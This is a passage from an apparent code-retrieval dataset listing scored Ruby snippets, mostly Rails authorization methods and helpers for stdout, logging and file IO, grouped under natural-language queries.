"text": "def authorize\n \t\t#teste http://localhost:3000/products/2/who_bought.atom\n \t\t#ou curl --silent --user dave:secret http://localhost:3000/products/2/who_bought.atom \n \t\treturn if User.count.zero?\n\n \t\tif request.format == Mime[:html]\n \t\t\tuser = User.find_by(id: session[:user_id])\n \t\telse\n \t\t\tuser = authenticate_or_request_with_http_basic do |u,p|\n \t\t\t\tUser.find_by_name(u).try(:authenticate, p)\n \t\t\tend\n \t\tend\n\n \t\tredirect_to login_url, notice: \"Please log in\" unless user\n \t\t\n \tend",
"title": ""
},
{
"docid": "0d25f8a82ab44b6d010a9b8a20901c73",
"score": "0.62781304",
"text": "def show\n authorize @info_practice\n end",
"title": ""
},
{
"docid": "a1cb6e7b1f69d206dc48dc07755a1363",
"score": "0.62744945",
"text": "def show\n\n authorize Article\n end",
"title": ""
},
{
"docid": "e0ba9d01a617f9920e29f793614c5c99",
"score": "0.62691694",
"text": "def show\n authorize @user\n end",
"title": ""
},
{
"docid": "e0ba9d01a617f9920e29f793614c5c99",
"score": "0.62691694",
"text": "def show\n authorize @user\n end",
"title": ""
},
{
"docid": "91722b989aa2053d9f96977724c3693e",
"score": "0.62688005",
"text": "def authorize_reports\n authorize! :read, :report\n end",
"title": ""
},
{
"docid": "9c75e075537da07f51c780ae03aa104a",
"score": "0.6262129",
"text": "def show\n @user = current_user\n authorize @user\n end",
"title": ""
},
{
"docid": "1dff86fa600016d23bd5a8c1b07d657c",
"score": "0.6259462",
"text": "def authorize\n redirect_to '/login' unless current_user\n end",
"title": ""
},
{
"docid": "5fa6fbb0f137bb34a502671fec8efdce",
"score": "0.6255874",
"text": "def initialize(user)\n\n # We instantiate the user to User.new to avoid having user be nil if the user is not signed in - so methods can be called on it. We assume here that 'user' will be User.new if the user is not signed in.\n user ||= User.new\n\n # Gives superpowers to admin user by having the ability to manage all actions on all models\n # If a field is a boolean, Rails automatically creates a helper method with a question mark (alternatively, you can user user.admin, which references the value - true or false)\n can :manage, :all if user.admin?\n\n # Define alias_action instead of using :manage\n alias_action :create, :read, :update, :destroy, :to => :crud\n\n # Defining the ability to :manage (do anything) with a question\n can :crud, Question do |q|\n # This block returns true or false. This determines if the user is allowed to manage a question or not\n # user.persisted? ensures the user is actually logged in\n q.user == user && user.persisted?\n end\n\n can :crud, Answer do |a|\n # Both the author of the question and the author of the answer can CRUD an answer\n (a.question.user == user || a.user == user) && user.persisted?\n end\n\n can :like, Question do |q|\n q.user != user\n end\n\n can :destroy, Like do |l|\n l.user == user\n end\n\n # It is possible to define any action, i.e. can :edit / can :destroy ...etc\n\n # Define abilities for the passed in user here. For example:\n #\n # user ||= User.new # guest user (not logged in)\n # if user.admin?\n # can :manage, :all\n # else\n # can :read, :all\n # end\n #\n # The first argument to `can` is the action you are giving the user\n # permission to do.\n # If you pass :manage it will apply to every action. Other common actions\n # here are :read, :create, :update and :destroy.\n #\n # The second argument is the resource the user can perform the action on.\n # If you pass :all it will apply to every resource. Otherwise pass a Ruby\n # class of the resource.\n #\n # The third argument is an optional hash of conditions to further filter the\n # objects.\n # For example, here the user can only update published articles.\n #\n # can :update, Article, :published => true\n #\n # See the wiki for details:\n # https://github.com/CanCanCommunity/cancancan/wiki/Defining-Abilities\n end",
"title": ""
},
{
"docid": "ddbedf5ea4998b61a0cddb9801efb3f8",
"score": "0.6253431",
"text": "def try_authorize\n authorize = Authorize.new(config, settings)\n authorize.configure\n end",
"title": ""
},
{
"docid": "d54e9df645e41d13efd818139b326bc0",
"score": "0.6251575",
"text": "def create\n authorize! :create, Course\n redirect_to courses_path\n end",
"title": ""
},
{
"docid": "15eef0c594282f385b67a5fa6a2a1199",
"score": "0.6251199",
"text": "def authorize\n return if current_user\n\n redirect_to login_url\n end",
"title": ""
},
{
"docid": "ca1b04b9948b901749455a237c1cb4c9",
"score": "0.6241182",
"text": "def before_authorization(action, role, resource_config)\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "200689ebe78729b6c3dd51a9665d99f9",
"score": "0.6234495",
"text": "def can_do_collection_scoped_actions\n can :index, :all\n can :new, :all\n can :export, :all\n can :history, :all\n can :destroy, :all\n end",
"title": ""
}
] |
6f5fe1c9a9cfa73d718f0e7edf1d7efb
|
Start with any amount of IO objects or filenames; defaults to STDOUT
|
[
{
"docid": "ea5066f16fd6c86851a7a7c74a3d9c10",
"score": "0.0",
"text": "def initialize(*args)\n # Handle default\n if args.empty?\n args = [STDOUT]\n end\n\n # Initialization\n @default_level = Logger::Severity::INFO\n @formatter = ::TeeLogger::Formatter.new\n @loggers = {}\n @ios = {}\n\n # Load built-in filters\n load_filters(*args)\n\n # Create logs for all arguments\n args.each do |arg|\n add_logger(arg)\n end\n end",
"title": ""
}
] |
[
{
"docid": "a2d70fc1589dc4ba5d94abcbd9312fe1",
"score": "0.6455093",
"text": "def stdouts; end",
"title": ""
},
{
"docid": "d3ec5177a036dbc4b089431a57c403bc",
"score": "0.60068375",
"text": "def output=(io); end",
"title": ""
},
{
"docid": "11d6527086ab119eae27dcc1759669bb",
"score": "0.5877355",
"text": "def stdout; end",
"title": ""
},
{
"docid": "11d6527086ab119eae27dcc1759669bb",
"score": "0.5877355",
"text": "def stdout; end",
"title": ""
},
{
"docid": "11d6527086ab119eae27dcc1759669bb",
"score": "0.5877355",
"text": "def stdout; end",
"title": ""
},
{
"docid": "11d6527086ab119eae27dcc1759669bb",
"score": "0.5877355",
"text": "def stdout; end",
"title": ""
},
{
"docid": "11d6527086ab119eae27dcc1759669bb",
"score": "0.5877355",
"text": "def stdout; end",
"title": ""
},
{
"docid": "11d6527086ab119eae27dcc1759669bb",
"score": "0.5877355",
"text": "def stdout; end",
"title": ""
},
{
"docid": "6760429776180ec6f465cfee0b896344",
"score": "0.5793815",
"text": "def io\n @io ||= :stdout\n end",
"title": ""
},
{
"docid": "9e9a5a143c1043aa765fd791c8fe6ac6",
"score": "0.56248605",
"text": "def io\n @io ||= $stdout\n end",
"title": ""
},
{
"docid": "a03dd56d722d925133f5fc8c32ef9882",
"score": "0.5614542",
"text": "def print_file(*) end",
"title": ""
},
{
"docid": "8a931862044bf967f8e86f4989cc6788",
"score": "0.5480681",
"text": "def start(_files); end",
"title": ""
},
{
"docid": "c83ef2c3516f62369dcc1d01f8b26f74",
"score": "0.54610634",
"text": "def io; end",
"title": ""
},
{
"docid": "c83ef2c3516f62369dcc1d01f8b26f74",
"score": "0.54610634",
"text": "def io; end",
"title": ""
},
{
"docid": "c83ef2c3516f62369dcc1d01f8b26f74",
"score": "0.54610634",
"text": "def io; end",
"title": ""
},
{
"docid": "c83ef2c3516f62369dcc1d01f8b26f74",
"score": "0.54610634",
"text": "def io; end",
"title": ""
},
{
"docid": "ae592fac994db2ac83e97494c6745983",
"score": "0.54509354",
"text": "def file(*args)\n raise ArgumentError, 'Logger#new params must be specified for #file' if args.size == 0\n reset if @streams\n @master_logger = infect_object(Logger.new(*args))\n\n @streams = [$stdout, $stderr, $stdin]\n $stdout = CommandeeredOut.new(@master_logger)\n $stderr = CommandeeredErr.new(@master_logger)\n @master_logger\n end",
"title": ""
},
{
"docid": "44ce9cf8ae80b051c750b22186f04f42",
"score": "0.54347235",
"text": "def redirect_io\n stdout = config.options[:redirect_stdout]\n stderr = config.options[:redirect_stderr] || stdout\n append = config.options[:redirect_append]\n\n if stdout\n STDOUT.reopen stdout, (append ? \"a\" : \"w\")\n STDOUT.sync = true\n STDOUT.puts \"=== puma startup: #{Time.now} ===\"\n end\n\n if stderr\n STDERR.reopen stderr, (append ? \"a\" : \"w\")\n STDERR.sync = true\n if stdout != stderr then\n # no need to dupe\n STDERR.puts \"=== puma startup: #{Time.now} ===\"\n end\n end\n end",
"title": ""
},
{
"docid": "6a776688029ebbf5009647ed77282d33",
"score": "0.540439",
"text": "def reset_output\n $stdout = StringIO.new\nend",
"title": ""
},
{
"docid": "f3b1ddbf7d024d7cab5f45fc2c78c264",
"score": "0.5401091",
"text": "def redirect\n orig_defout = $defout\n $stdout = StringIO.new\n yield\n $stdout.string\n ensure\n $stdout = orig_defout\n end",
"title": ""
},
{
"docid": "bb94d6daceb8e954ceedfb5f0ccf0a8d",
"score": "0.5400466",
"text": "def setup()\n $stdout.sync\n end",
"title": ""
},
{
"docid": "c7770b98fed986f84f88f118d850e087",
"score": "0.539861",
"text": "def output lines\n nil\n end",
"title": ""
},
{
"docid": "d74341c3e1c2c418a32f63506bf2488d",
"score": "0.5392107",
"text": "def write(to = $stdout)\n to.print \"<div style=\\\"width: 600px;\\\">\\n\"\n \n self.garbage_collector(to)\n GC.start\n \n self.arrays(to)\n GC.start\n \n self.hashes(to)\n GC.start\n \n self.constants(to)\n GC.start\n \n self.global_vars(to)\n GC.start\n \n self.procs(to)\n GC.start\n \n to.print \"</div>\\n\"\n end",
"title": ""
},
{
"docid": "cb138960ecccb12f19eeb54d04ad9eca",
"score": "0.5341825",
"text": "def print_file files_so_far, filename\n progress_bar = sprintf(\"%3d%% [%2d/%2d] \",\n 100 * files_so_far / @num_files,\n files_so_far,\n @num_files)\n\n if $stdout.tty?\n # Print a progress bar, but make sure it fits on a single line. Filename\n # will be truncated if necessary.\n size = IO.respond_to?(:console_size) ? IO.console_size : IO.console.winsize\n terminal_width = size[1].to_i.nonzero? || 80\n max_filename_size = (terminal_width - progress_bar.size) - 1\n\n if filename.size > max_filename_size then\n # Turn \"some_long_filename.rb\" to \"...ong_filename.rb\"\n filename = filename[(filename.size - max_filename_size) .. -1]\n filename[0..2] = \"...\"\n end\n\n # Clean the line with whitespaces so that leftover output from the\n # previous line doesn't show up.\n $stdout.print(\"\\r\\e[K\") if @last_width && @last_width > 0\n @last_width = progress_bar.size + filename.size\n term = \"\\r\"\n else\n term = \"\\n\"\n end\n $stdout.print(progress_bar, filename, term)\n $stdout.flush\n end",
"title": ""
},
{
"docid": "e7655d10998c38855a9a2f722c79ff1e",
"score": "0.53230566",
"text": "def output\n # if file name not present, just output to stdout.\n return $stdout.write(yield) if option[:ofile].nil?\n\n # times of calling output\n @serial ||= 0\n # Write to file, we should disable colorize\n enabled = Util.colorize_enabled?\n Util.disable_color! if enabled\n File.binwrite(file_of(option[:ofile], @serial), yield)\n Util.enable_color! if enabled\n @serial += 1\n end",
"title": ""
},
{
"docid": "f9c84f6dea05746d6a599a74737e5bf6",
"score": "0.53007215",
"text": "def run!\n options = setup_options\n drivers = ARGV\n while drivers.size >= 1 \n driver = drivers.shift\n run_with_logging File.basename(driver, File.extname(driver)), options do \n begin\n $Log.info \"Begin Pipelining #{driver} | #{Etc.getlogin} on #{`hostname`}\"\n run_pipe(options, driver)\n $Log.info \"Finished Pipelining #{driver}\"\n rescue StandardError => e\n $Log.error e\n end\n end\n end\nend",
"title": ""
},
{
"docid": "9cee4b38a02f7617f9af63ff0ef7eb1e",
"score": "0.528519",
"text": "def output_streams\n [:default]\n end",
"title": ""
},
{
"docid": "6c14aa88e3eaa0f0bfd168018b297c6f",
"score": "0.5264763",
"text": "def stagger_output(text, out = nil)\n out ||= case\n when respond_to?(:output)\n # Mixin.\n output\n when Pry.respond_to?(:output)\n # Parent.\n Pry.output\n else\n # Sys.\n $stdout\n end\n\n if text.lines.count < Pry::Pager.page_size || !Pry.pager\n out.puts text\n else\n Pry::Pager.page(text)\n end\n rescue Errno::ENOENT\n Pry::Pager.page(text, :simple)\n rescue Errno::EPIPE\n end",
"title": ""
},
{
"docid": "99edb4cdd5f3c5f9018cc1a9fe47f04c",
"score": "0.52469736",
"text": "def each_io\n each_file do |filename|\n io = get filename\n yield filename, io\n end\n end",
"title": ""
},
{
"docid": "99edb4cdd5f3c5f9018cc1a9fe47f04c",
"score": "0.52469736",
"text": "def each_io\n each_file do |filename|\n io = get filename\n yield filename, io\n end\n end",
"title": ""
},
{
"docid": "02f2ecfc80ed93dc2e33b479a0cbced2",
"score": "0.52433825",
"text": "def streams_after(out_,err_)\n $stdout = out_\n $stderr = err_\nend",
"title": ""
},
{
"docid": "49029be70eacd05918950239769a07d5",
"score": "0.52197343",
"text": "def redirect_io(logfile_name)\n begin\n ; STDIN.reopen \"/dev/null\";\n rescue ::Exception;\n end\n\n if logfile_name\n begin\n STDOUT.reopen logfile_name, \"a\"\n STDOUT.sync = true\n rescue ::Exception\n begin\n ; STDOUT.reopen \"/dev/null\";\n rescue ::Exception;\n end\n end\n else\n begin\n ; STDOUT.reopen \"/dev/null\";\n rescue ::Exception;\n end\n end\n\n begin\n ; STDERR.reopen STDOUT;\n rescue ::Exception;\n end\n STDERR.sync = true\n end",
"title": ""
},
{
"docid": "22ef32447e76ea22a39b8124d8fcf52b",
"score": "0.52130914",
"text": "def print(*args)\n args.each do |a|\n io << a\n end\n end",
"title": ""
},
{
"docid": "9ec83f583ce1f40af693c444e4f10dd9",
"score": "0.5192955",
"text": "def io\n @io ||= :output\n end",
"title": ""
},
{
"docid": "f349865ec6539782c5d4b6ae687cc134",
"score": "0.51849467",
"text": "def streams_before\n out_ = $stdout\n err_ = $stderr\n $stdout = StringIO.new\n $stderr = StringIO.new\n return out_,err_\nend",
"title": ""
},
{
"docid": "b5a3584d2a7d9eb8cafbd92537d1da66",
"score": "0.51846504",
"text": "def stdout\n run unless ran?\n\n @stdout\n end",
"title": ""
},
{
"docid": "8605ab1e258b8a06274d00f8ed3d28f5",
"score": "0.5160348",
"text": "def capture_io; end",
"title": ""
},
{
"docid": "829a22bb2ff2ad4917d5422c1c6c1d61",
"score": "0.51502186",
"text": "def redirect_io(logfile_name)\n begin; STDIN.reopen \"/dev/null\"; rescue ::Exception; end\n\n if logfile_name\n begin\n STDOUT.reopen logfile_name, \"a\"\n STDOUT.sync = true\n rescue ::Exception\n begin; STDOUT.reopen \"/dev/null\"; rescue ::Exception; end\n end\n else\n begin; STDOUT.reopen \"/dev/null\"; rescue ::Exception; end\n end\n\n begin; STDERR.reopen STDOUT; rescue ::Exception; end\n STDERR.sync = true\n end",
"title": ""
},
{
"docid": "9e04d6917ec6179d3afcdd33af6843fc",
"score": "0.51467746",
"text": "def io(input = nil, output = nil, &block)\n orig_stdin, orig_stdout = $stdin, $stdout\n $stdin = File.new(input) if input\n $stdout = File.new(output, 'r+') if output\n return unless block\n\n yield\n $stdin, $stdout = orig_stdin, orig_stdout\n reset_io\n end",
"title": ""
},
{
"docid": "a0b4ab5e2fd0c14c22117f91cdff7e0b",
"score": "0.51459146",
"text": "def capture_output\n dummy_stdio{ yield }\n end",
"title": ""
},
{
"docid": "025871480fb4e00196444c92002ebd4a",
"score": "0.5141198",
"text": "def stdout\n return STDOUT\n end",
"title": ""
},
{
"docid": "8b05ec7e438b36ad2f4d15a4773d4807",
"score": "0.5137259",
"text": "def io=(_arg0); end",
"title": ""
},
{
"docid": "8b05ec7e438b36ad2f4d15a4773d4807",
"score": "0.5137259",
"text": "def io=(_arg0); end",
"title": ""
},
{
"docid": "43745f441c8c54245062ee01302199d4",
"score": "0.51354396",
"text": "def capture_stdout(&printing_action)\n old = $stdout\n $stdout = next_stdout = StringIO.new\n printing_action.call\n next_stdout.string\nensure\n $stdout = old\nend",
"title": ""
},
{
"docid": "90f34586f51de65670b66a22fb71e9b5",
"score": "0.5124614",
"text": "def page_output\n stdout = STDOUT.clone\n\n less = open(\"|less\", \"w\")\n STDOUT.reopen(less)\n\n at_exit do\n STDOUT.reopen(stdout)\n less.close\n end\nend",
"title": ""
},
{
"docid": "a79adf9a520cba5f289a1da7faa16849",
"score": "0.5122198",
"text": "def silent_out\n stdout = $stdout\n $stdout = StringIO.new\n begin\n yield if block_given?\n ensure\n $stdout = stdout\n end\nend",
"title": ""
},
{
"docid": "259addbe340bcc73588ccc3af3efc558",
"score": "0.5110935",
"text": "def stdout\n File.join(dir, 'stdout')\n end",
"title": ""
},
{
"docid": "32af9c2981fa70f0e948489e0067ef15",
"score": "0.5109009",
"text": "def io_name\n {:output => \"standard output\", :error => \"standard error\"}[io]\n end",
"title": ""
},
{
"docid": "e45bef9afff36bd8246f705c91b209eb",
"score": "0.5102843",
"text": "def output( message, objects = [] )\n return\n end",
"title": ""
},
{
"docid": "ecd5d90f0ab8ccaa19c1ad3ff615053d",
"score": "0.50934035",
"text": "def print_output\r\n\t\t\tprint \"Files: #@num_files \\n\"\r\n\t\t\tprint \"Lines of Code: #@total \\n\"\r\n\t\t\tprint \"Blank Lines: #@blank_lines \\n\"\r\n\t\t\tprint \"Total Lines: #@lines\"\r\n\t\tend",
"title": ""
},
{
"docid": "463c4eb8b4411be30f5e7f476a7b5cc9",
"score": "0.5088121",
"text": "def write(io = $stdout)\n #Require and spawn StringIO in the subprocess.\n @subproc.static(:Object, :require, \"stringio\")\n string_io = @subproc.new(\"StringIO\")\n \n #We want a human-readable print.\n writer = @subproc.new(\"REXML::Formatters::Pretty\", 5)\n writer.write(@doc, string_io)\n \n #Prepare printing by rewinding StringIO to read from beginning.\n string_io.rewind\n \n #Print out the result in bits to avoid raping the memory (subprocess is already raped - no question there...).\n string_io.each(4096) do |str|\n io.print(str)\n end\n end",
"title": ""
},
{
"docid": "990eb4e5e44a7791ed723e233a9983d0",
"score": "0.5086109",
"text": "def stdout\n STDOUT\n end",
"title": ""
},
{
"docid": "2c0fb8bed1d1cea8156d3ed9f11bc458",
"score": "0.5076599",
"text": "def auto_io(name, read_size, input_io); end",
"title": ""
},
{
"docid": "c57f2455b5fb8b6968d94409d95af3c0",
"score": "0.5061706",
"text": "def stdout(opts = {})\n return @stdout_cache if @process.nil?\n\n wait_for_io = opts.fetch(:wait_for_io, @io_wait)\n\n wait_for_io wait_for_io do\n @process.io.stdout.flush\n open(@stdout_file.path).read\n end\n end",
"title": ""
},
{
"docid": "afa85843f371b04107c19808d3ed4aaf",
"score": "0.50568074",
"text": "def initialize\n $stdout.sync = true\n super\n end",
"title": ""
},
{
"docid": "add404e66df66ead1082a0fa5fac9bdc",
"score": "0.50466317",
"text": "def stupid_program\n puts \"HI I AM A STUPID PROGRAM BECAUSE I WRITE TO STDOUT LOL\" # always writes to $stdout\nend",
"title": ""
},
{
"docid": "cca6545ae855a5566d2c623b1b82d3b5",
"score": "0.50429285",
"text": "def after_resolution\n output.puts\n end",
"title": ""
},
{
"docid": "74499cf6365dcc9c0a544f1f4fea7c4b",
"score": "0.5042524",
"text": "def print_usage\n puts \"Usage: \" + File.basename($0)\n puts \" \" + File.basename($0) + \" -n N (N number of random people)\"\n puts \" \" + File.basename($0) + \" -g N (Groups of N random people)\"\n puts \" \" + File.basename($0) + \" -G N (N Groups of random people)\"\nend",
"title": ""
},
{
"docid": "16ef446e1dd3ce71e64a7fe2650c834e",
"score": "0.5015246",
"text": "def redirect_stdout\n if Capybara::Chromefoil.mri?\n yield\n else\n begin\n prev = STDOUT.dup\n $stdout = @write_io\n STDOUT.reopen(@write_io)\n yield\n ensure\n STDOUT.reopen(prev)\n $stdout = STDOUT\n prev.close\n end\n end\n end",
"title": ""
},
{
"docid": "17e536c944ce6532a5829ecde6462f50",
"score": "0.50140715",
"text": "def initialize_buffered_io; end",
"title": ""
},
{
"docid": "3c6b9885c1a0873725b71eefdb472ce1",
"score": "0.50050026",
"text": "def _buf\n return $stdout\nend",
"title": ""
},
{
"docid": "3c6b9885c1a0873725b71eefdb472ce1",
"score": "0.50050026",
"text": "def _buf\n return $stdout\nend",
"title": ""
},
{
"docid": "ed07ea271ba29f555f2453853c3e5114",
"score": "0.5001846",
"text": "def ol_start(number = 1)\n @ol_level += 1\n counter = number.to_i - 1\n @io << @templates[:ol_start].result(binding)\n end",
"title": ""
},
{
"docid": "89a9246b87ca7d50fdf1d194583c7466",
"score": "0.49980748",
"text": "def redirect_io( simulate = false )\n begin\n STDIN.reopen '/dev/null'\n rescue ::Exception\n end\n\n unless simulate\n STDOUT.reopen '/dev/null', 'a'\n STDERR.reopen '/dev/null', 'a'\n end\n end",
"title": ""
},
{
"docid": "cac17a8069510cff73a04cc1eb57f438",
"score": "0.49962625",
"text": "def build(ostream = nil)\n if File.exists? root(:output)\n raise Errno::EEXISTS unless File.directory? root(:output)\n else\n Dir.mkdir root(:output)\n end\n\n begin\n all.each do |page|\n ostream << \" * #{page.output_path}\\n\" if ostream\n\n begin\n rendered = page.render\n force_file_open(page.output_path) { |file| file << rendered }\n\n rescue RenderError => e\n ostream << \" *** Error: #{e.to_s}\".gsub(\"\\n\", \"\\n *** \") << \"\\n\"\n end\n end\n\n rescue NoGemError => e\n ostream << \" *** Error: #{e.message}\\n\"\n end\n end",
"title": ""
},
{
"docid": "b60eabb9b0e2e18c27c9276f9c8ddde3",
"score": "0.499413",
"text": "def set_stdioe(i,o,e)\n $stdin.reopen(i)\n $stdout.reopen(o)\n $stderr.reopen(e)\n ObjectSpace.each_object(IO) do |io|\n unless io.closed? || [0,1,2].include?(io.fileno)\n io.close\n end\n end\n end",
"title": ""
},
{
"docid": "77f74bddcd20ae1460c528042f8913a1",
"score": "0.49828008",
"text": "def output_loop\n buf = ''\n loop do\n buf.clear\n\n begin\n buf << @writer.call.to_s\n rescue Errno::EIO # Lambda is signaling that execution should end.\n return\n end\n process_output(buf)\n end\n end",
"title": ""
},
{
"docid": "c7a815557022f241c5d78b044bcc147d",
"score": "0.49739748",
"text": "def generate_strfiles\n until @files_written.empty?\n file_path = @files_written.shift\n system(\"strfile\",file_path)\n end\n end",
"title": ""
},
{
"docid": "bbe61d3c92f5753ed19747466d0520d4",
"score": "0.49690327",
"text": "def open_buffer\n @out_buffers ||= []\n @out_buffers.push(@out)\n @out = \"\"\n end",
"title": ""
},
{
"docid": "d80191e659ac26b2edb50198462314f3",
"score": "0.49566045",
"text": "def mainfun\n begin\n puts \"[MAINFUN]:: Entering\\n[MAINFUN]:: Setting application variables for filenames\" if $diag\n ingestion # Gather files to be processes from ingestion function\n puts \"[MAINFUN]:: Examining files\"+(sleep $pause; if $verb; \": #{$filesin}\"; else \"\"; end) if $diag\n $filesin.each { | finfile |\n puts \"[MAINFUN]:: Interacting with file\"+(sleep $pause; if $verb; \": #{$finfile}\"; else \"\"; end) if $diag\n procfiles(finfile) # Process files to generate additional global vars\n if finfile.split(\".\")[-1].to_s.downcase == \"txt\"\n puts \"[MAINFUN]:: Input file is TXT\" if $diag\n inoutput(finfile) # If file is of type TXT, process singular files contents\n end\n if finfile.split(\".\")[-1].to_s.downcase == \"gz\"\n puts \"[MAINFUN]:: Input file is GZ\"+(sleep $pause; if $verb; \": #{$finfile}\"; else \"\"; end) if $diag\n tarpit(finfile) # If file is of type GZ, inflate and process singular files contents\n end\n bufferflush # Proceed to flush any contents that did not hit write counter limits\n }\n puts \"[MAINFUN]:: Exiting\" if $diag\n rescue => someerror\n puts \"[MAINFUN]:: FATAL ERROR:: mainfun module\"+(sleep $pause; if $verb; \": #{someerror}\"; else \"\"; end) if $diag; exit\n end\nend",
"title": ""
},
{
"docid": "db97ebd5813f65ec606712f6e931ae98",
"score": "0.4952147",
"text": "def capture_io\n err = nil\n out = capture_out do\n err = capture_err do\n yield\n end\n end\n\n [out, err]\nend",
"title": ""
},
{
"docid": "35d3005e51bd93b7e6e71dcae7284937",
"score": "0.4948468",
"text": "def print(io)\n tree.each_with_index do |(command, event_called_handlerss), index|\n io.puts '+++++++++++++++++++++++++++++++++++' if index == 0\n io.puts \"Command: #{command.class} resulted in #{event_called_handlerss.length} events\"\n event_called_handlerss.each_with_index do |event_called_handlers, i|\n io.puts '' if i > 0\n io.puts \"-- Event #{event_called_handlers.event.class} was handled by:\"\n io.puts \"-- Projectors: [#{event_called_handlers.projectors.join(', ')}]\"\n io.puts \"-- Workflows: [#{event_called_handlers.workflows.join(', ')}]\"\n end\n\n io.puts '+++++++++++++++++++++++++++++++++++'\n end\n end",
"title": ""
},
{
"docid": "450fc6bbe1865f9b041d20d2a8623e4e",
"score": "0.49476114",
"text": "def start!\n Signal.trap(\"INT\") { printer.done; exit }\n\n queue = Test.all_tests\n threads = (thread_count-1).times.map { |i| Thread.new { worker!(queue, i+1) } }\n\n worker!(queue, 0)\n threads.join\n\n printer.done\n end",
"title": ""
},
{
"docid": "e6b5e776e68697c42e9b08ef0439c334",
"score": "0.49420053",
"text": "def output(*streams)\n streams.each { |stream| console.print(stream) }\n\n streams\n end",
"title": ""
},
{
"docid": "20e7f0905e63839e6fcfe5bf2c3402c1",
"score": "0.49357095",
"text": "def fileno() end",
"title": ""
},
{
"docid": "20e7f0905e63839e6fcfe5bf2c3402c1",
"score": "0.49357095",
"text": "def fileno() end",
"title": ""
},
{
"docid": "20e7f0905e63839e6fcfe5bf2c3402c1",
"score": "0.49357095",
"text": "def fileno() end",
"title": ""
},
{
"docid": "8e19703663aaf451e9ab3fd4bb085277",
"score": "0.4935457",
"text": "def flush\n @out.flush if @out.is_a?(IO)\n end",
"title": ""
},
{
"docid": "77f7c9f1c9121e03e7c322d67bb89ced",
"score": "0.49346882",
"text": "def out(*args) print(*(args + [\"\\r\\n\"])) end",
"title": ""
},
{
"docid": "869acb11a569f23df21056e69aee0ed8",
"score": "0.49292412",
"text": "def output_buffer; end",
"title": ""
},
{
"docid": "869acb11a569f23df21056e69aee0ed8",
"score": "0.49292412",
"text": "def output_buffer; end",
"title": ""
},
{
"docid": "c3a2e103a251ee59e99baf5054f9e5e3",
"score": "0.4929148",
"text": "def write_to_file_if_needs_block(argv)\n unless argv.empty? \n $stdout = File.open(argv[0], \"w\")\n end\n\n yield\n\n unless argv.empty? \n $stdout.flush\n $stdout.close\n $stdout = STDOUT\n end\nend",
"title": ""
},
{
"docid": "b6be8f800ec2b97a1b8599472723da6e",
"score": "0.49249384",
"text": "def print_all(f)\n # print the whole files\n puts f.read\n # end of function block\nend",
"title": ""
},
{
"docid": "45b0c466ee31de0bc6a1ecbecabc25ec",
"score": "0.4922761",
"text": "def example3\n puts 'Trying to read in some files...'\n t = Thread.new do\n (0..2).each do |i|\n begin\n File.open(File.expand_path(File.join(__dir__, '..', '..', 'fixtures', \"part0#{i}.txt\"))) do |f|\n f.readlines.each do |line|\n puts line\n end\n end\n rescue Errno::ENOENT\n puts \"Message from thread: Failed on i=#{i}\"\n exit\n end\n end\n end\n t.join\n puts 'Finished!'\n end",
"title": ""
},
{
"docid": "5a4e3822c68ba514be1181e990bd981b",
"score": "0.49163902",
"text": "def print_all(hank)\n #this is the block of code that reads the file that was included at the cmd line\n puts hank.read()\n #this ends the funciton we just defined\nend",
"title": ""
},
{
"docid": "5f3cb2a7d1ad72a0dc08ceb1fd074fe9",
"score": "0.49159357",
"text": "def flush\n each_ios_and_stdout(&:flush)\n end",
"title": ""
},
{
"docid": "c628c8d30d7efe6e22307ec0a7666c79",
"score": "0.49134237",
"text": "def all_stdout\n registered_commands.each(&:stop)\n\n registered_commands.each_with_object(\"\") { |e, a| a << e.stdout }\n end",
"title": ""
},
{
"docid": "0f320d43398b2e56c492e56049b23f32",
"score": "0.49116272",
"text": "def view_selected_files\n fname = write_selected_files\n\n unless fname\n message 'No file selected. '\n return\n end\n\n system \"$PAGER #{fname}\"\n setup_terminal\nend",
"title": ""
},
{
"docid": "417eacac1b1a75df07d1a2b9987385b6",
"score": "0.49088782",
"text": "def perform_io; end",
"title": ""
},
{
"docid": "8802a21c93a8885d3eec44e70b2bf500",
"score": "0.49075413",
"text": "def io_out\n raise NotImplementedError, 'Not implemented'\n end",
"title": ""
},
{
"docid": "dd04d44cd03fcd60a6e9e0c17199fb15",
"score": "0.49018213",
"text": "def initialize\n @stream = []\n @stream_callbacks = []\n @level = :info\n STDOUT.sync = true\n STDERR.reopen(STDOUT)\n self.class.create_level_methods\n setup_writer\n end",
"title": ""
},
{
"docid": "5a98a3ec799803c86e069adb2e63140c",
"score": "0.48925105",
"text": "def print_and_flush(str)\n print str\n STDOUT.flush\nend",
"title": ""
},
{
"docid": "23b0271aff7c0d500ec55da4030626fa",
"score": "0.48899633",
"text": "def send_doc\n if EdiHelper.current_out_is_cumulative\n File.open(File.join(EdiHelper.edi_out_process_join_dir, EdiHelper.current_out_subdirs, @filename), 'w') {|f| f.puts @edi_string }\n else\n File.open(File.join(EdiHelper.edi_out_process_dir, EdiHelper.current_out_subdirs, @filename), 'w') {|f| f.puts @edi_string }\n end\n end",
"title": ""
},
{
"docid": "2fb61847a55cf2b3d95cc88f6eebe48f",
"score": "0.48792228",
"text": "def hide\n real_stdout = $stdout\n $stdout = StringIO.new\n yield\nensure\n $stdout = real_stdout\nend",
"title": ""
},
{
"docid": "42eb1c100f3de96960af3ca1fefa19c1",
"score": "0.48774737",
"text": "def logger(description)\n $tabs.times { print \" \" }\n puts \"Now running #{description}...\"\n $tabs += 1\n puts \" \" * ($tabs - 1) + \"#{yield}\"\n $tabs -= 1\n $tabs.times { print \" \" }\n puts \"...#{description} has finished.\"\nend",
"title": ""
},
{
"docid": "4c6d9d28d7249d759807eecd3a95b77e",
"score": "0.4877233",
"text": "def show_results(generated_files: true)\n @end_time = Time.now\n tree = if generated_files\n [' ',\n \"Generated files: #{@out_dir}\",\n ' ',\n TTY::Tree.new(@out_dir).render]\n else\n ''\n end\n puts\n puts TTY::Box.frame(\"Start : #{@start_time}\",\n \"End : #{@end_time}\",\n \"Time : #{@end_time - @start_time} sec\",\n *tree,\n title: { top_left: \" #{self.class.name} \" },\n width: TTY::Screen.width, padding: 1)\n end",
"title": ""
},
{
"docid": "41440b6213515780640dd534821274ed",
"score": "0.48730606",
"text": "def reopen!\n synchronize do\n @outputs.each do |output|\n case output\n when File\n output.flush\n output.reopen(output.path)\n end\n end\n end\n end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.48609918",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.48609918",
"text": "def output; end",
"title": ""
},
{
